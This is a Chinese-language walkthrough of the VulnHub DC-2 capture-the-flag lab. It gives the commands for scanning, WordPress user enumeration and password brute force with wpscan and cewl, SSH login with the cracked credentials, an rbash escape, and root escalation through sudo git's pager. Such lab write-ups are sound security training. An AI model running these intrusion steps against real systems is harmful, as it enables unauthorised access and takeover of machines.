VulnHub-DC-2靶机渗透教程
1.靶机部署
**Onepanda**\] Mik1ysomething 靶机下载:[https://download.vulnhub.com/dc/DC-2.zip](https://download.vulnhub.com/dc/DC-2.zip "https://download.vulnhub.com/dc/DC-2.zip") 直接使用VMware导入打开就行  ### 2.信息收集 #### 2.1 获取靶机ip(arp-scan/nmap) ``` arp-scan -l nmap 192.168.135.0/24 ```  #### 2.2 详细信息扫描(nmap) ``` nmap -sS -T5 -sC -p- --min-rate 10000 192.168.135.136 nmap -sS -p---min-rate 10000 $ip ``` 发现开放了80端口,访问一下看看  发现访问不了,且发现我们输入的ip地址自动转化为了域名,我们想到dc-2这个域名解析失败,我们更改hosts文件,添加一个ip域名指向。   添加之后,再次访问,访问成功发现是wordpress的站点  #### 2.3 敏感目录扫描(dirsearch/dirb/gobuster/御剑/7bscan) ``` dirsearch -u http://192.168.135.136 -e * dirb http://192.168.135.136 ```  #### 2.4 指纹收集(whatweb) ``` whatweb -v 192.168.135.136 ```  ### 3.渗透过程 #### flag1 在网页下面我们发现flag  点进去发现flag1 flag1的意思:大概就是尝试暴力破解,获取账号密码,使用用户登录吧 ``` 你通常的单词列表可能不起作用,所以,也许你只是得小心点。 更多的密码总是更好,但有时你就是赢不了他们都是。 以一个身份登录,以查看下一个标志。 如果你找不到它,就以另一种身份登录。 ```  前面信息收集时候发现后台地址:[http://dc-2/wp-login.php?redirect_to=http%3A%2F%2Fdc-2%2Fwp-admin%2F\&reauth=1](http://dc-2/wp-login.php?redirect_to=http%3A%2F%2Fdc-2%2Fwp-admin%2F&reauth=1 "http://dc-2/wp-login.php?redirect_to=http%3A%2F%2Fdc-2%2Fwp-admin%2F&reauth=1")   这是一个wordpress的站,我们采用专门针对wordpress的工具wpscan来进行扫描进行用户枚举 ``` Wpscan一些常用用法: wpscan --url http://dc-2 获取版本信息4.7.10 wpscan --url http://dc-2 --enumerate p 扫描插件 wpscan --url http://dc-2 --enumerate u 枚举用户 > admin/jerry/tom ```   根据flag1提示使用暴力破解,首先使用cewl命令行工具,对网站进行生成字典,保存到passwd.txt当中,然后使用wpscan爆破 ``` cewl http://dc-2/ > password.txt wpscan --url http://dc-2 --passwords password.txt ```  爆破出来两个账号 ``` jerry/adipiscing tom/parturient ```  #### flag2 使用爆破的用户名登录网站,两个账户都可以  这里有许多功能点,我们挨个点点,发现在pages下发现flag2   flag提示:简单点可能可以试试别的方式,比如ssh/ftp别的服务。 ``` If you can't exploit WordPress and take a shortcut, there is another way. 如果你不能利用WordPress并采取一条捷径,还有另外一种方法。 Hope you found another entry point. 希望你找到了另一个入口。 ``` #### flag3 这里还有另外一个tom用户可以尝试ssh连接,前面信息收集发现7744端口也是打开的。 ``` jerry/adipiscing tom/parturient ssh [email protected] -p 7744 ``` 登录成功发现在tom的目录下发现flag3  但这里我尝试cat发现命令用不了,vim也不行,但是用vi/less可以  提示:可怜的老汤姆总是追着杰瑞跑。也许他应该为自己造成的压力承担责任。(su命令提示) 我们尝试切换到另外一个jerry用户发现没有su命令  另外也提示到我们需要rbash逃逸 查看一下可以使用的命令 ``` echo $PATH ```  使用echo绕过rbash ``` BASH_CMDS[su]=/bin/sh;su export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin echo /* su jerry 输入前面爆破的密码 ```  #### flag4 ``` cd jerry ls cat flag4.txt ``` 在jerry的目录下发现flag4  提示信息如下: ``` Good to see that you've made it this far - but you " re not home yet . 很高兴看到你走了这么远,但你还没回家。 You still need to get the final flag (the only flag that really counts!!! ). 您仍然需要获得最后的标志(唯一真正重要的标志!) No hints here 一you're on your own now. :- ) 这里没有暗示,一,你现在只能靠自己了。*-) Go on 继续 git outta here!!!! ``` 最后肯定是需要提权获取到最后一个flag,提示到git,可能是需要git提权。 #### flag5 ``` sudo -l ``` 发现jerry无需root权限执行git ``` 查看一下可以使用的root权限命令 find / -user root -perm -4000 -print 2>/dev/null ```  这里sudo/su都需要root权限,我们这里只能使用git命令,并使用git命令提权 ``` sudo git branch --help config sudo git branch --help status !/bin/sh ```  提权成功  发现最后一个flag ``` cd /root ls cat final-flag.txt ```  本篇文章渗透结束 感谢大家的观看!!